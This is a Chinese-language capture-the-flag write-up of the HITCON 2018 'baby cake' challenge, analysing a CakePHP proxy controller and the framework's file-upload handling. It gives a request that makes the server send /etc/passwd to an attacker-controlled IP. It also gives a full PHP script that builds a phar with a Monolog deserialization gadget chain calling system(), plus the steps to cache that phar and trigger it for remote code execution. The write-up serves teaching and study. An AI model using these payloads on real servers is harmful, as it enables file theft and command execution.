babycake分析

1 追踪

首先我们来看代码的主要逻辑部分 PagesCOntroller.php的部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
class PagesController extends AppController {

private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];

$http = new Client();
return $http->$method($url, $data, $options);
}

private function back() {
return $this->render('pages');
}

private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}

private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}

private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");

$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}

public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();

$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();

$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();

\
$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;

$headers[$key] = $value[0];
}

$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}

foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}

$this->response->body($response->body);
return $this->response;
}
}

当我们使用get方法访问时,会检查缓存,如果有缓存的话,将响应作为body返回,如果没有缓存的话,设置缓存,存入tmp/mycache/ip/md5(url)/body.cache 和headers.cache。

查看client.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
public function get($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$body = null;
if (isset($data['_content'])) {
$body = $data['_content'];
unset($data['_content']);
}
$url = $this->buildUrl($url, $data, $options);

return $this->_doRequest(
Request::METHOD_GET,
$url,
$body,
$options
);
}

/**
* Do a POST request.
*
* @param string $url The url or path you want to request.
* @param mixed $data The post data you want to send.
* @param array $options Additional options for the request.
* @return \Cake\Http\Client\Response
*/
public function post($url, $data = [], array $options = [])
{
$options = $this->_mergeOptions($options);
$url = $this->buildUrl($url, [], $options);

return $this->_doRequest(Request::METHOD_POST, $url, $data, $options);
}

...

protected function _doRequest($method, $url, $data, $options)
{
$request = $this->_createRequest(
$method,
$url,
$data,
$options
);

return $this->send($request, $options);
}

...

/**
* Creates a new request object based on the parameters.
*
* @param string $method HTTP method name.
* @param string $url The url including query string.
* @param mixed $data The request body.
* @param array $options The options to use. Contains auth, proxy, etc.
* @return \Cake\Http\Client\Request
*/
protected function _createRequest($method, $url, $data, $options)
{
...
if (is_string($data) && !isset($headers['Content-Type']) && !isset($headers['content-type'])) {
$headers['Content-Type'] = 'application/x-www-form-urlencoded';
}

$request = new Request($url, $method, $headers, $data);
...

return $request;
}

查看request类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class Request extends Message implements RequestInterface
{
use RequestTrait;

/**
* Constructor
*
* Provides backwards compatible defaults for some properties.
*
* @param string $url The request URL
* @param string $method The HTTP method to use.
* @param array $headers The HTTP headers to set.
* @param array|string|null $data The request body to use.
*/
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}

...
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();

return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;

return $this;
}
}

data会传给body函数,如果data是一个数组的话,交给FormData类来处理
查看FormData类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
...
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}

return $this;
}

/**
* Add multiple parts at once.
*
* Iterates the parameter and adds all the key/values.
*
* @param array $data Array of data to add.
* @return $this
*/
public function addMany(array $data)
{
foreach ($data as $name => $value) {
$this->add($name, $value);
}

return $this;
}

/**
* Add either a file reference (string starting with @)
* or a file handle.
*
* @param string $name The name to use.
* @param mixed $value Either a string filename, or a filehandle.
* @return \Cake\Http\Client\FormDataPart
*/
public function addFile($name, $value)
{
$this->_hasFile = true;

$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);

return $part;
}
...

addMany将键和值加入到formData中,再由add函数来对这些值进行判断,当值以@开头时,会由addfile处理,然后file_get_contents可获得value提交的文件的值,然后
所以当我们提交
?url=yourip&data[‘x’]=@/etc/passwd, 服务器会向我们的ip发送有/etc/passwd的请求

远程代码执行

现在来考虑这里是怎样存在远程代码执行的

  • phar:// 提取文件时会进行反序列化

我们使用php对象注入方法,来创建payload并将其放在phar文件中,然后使用get提交url=$ip/xxx.phar文件,那么此时这个文件就保存在了缓存中,我们再使用post方法利用phar://读取这个缓存文件,那么反序列化时造成远程代码执行。

首先我们先利用gadget来进行对象注入。构造payload的方法,可以使用这个工具
https://github.com/ambionics/phpggc/tree/master/gadgetchains/Monolog/RCE/1
这里借用一下PDKT-Team的payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php

namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}

namespace{
$cmd = "ls -alt";

$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();

}

随后我们使用GET访问
?url=http://myip/exploit.phar
这个就会保留在服务器缓存中/var/www/html/tmp/cache/my_cache/myip/md5(http://myip/exploit.phar)/body.cache
然后使用post访问读取
`?url=http://myip&data[x]=@phar:///var/www/html/tmp/cache/my_cache/myip/md5(http://myip/exploit.phar)/body.cache
执行命令,返回响应

参考
https://www.insomniasec.com/downloads/publications/Practical%20PHP%20Object%20Injection.pdf
https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake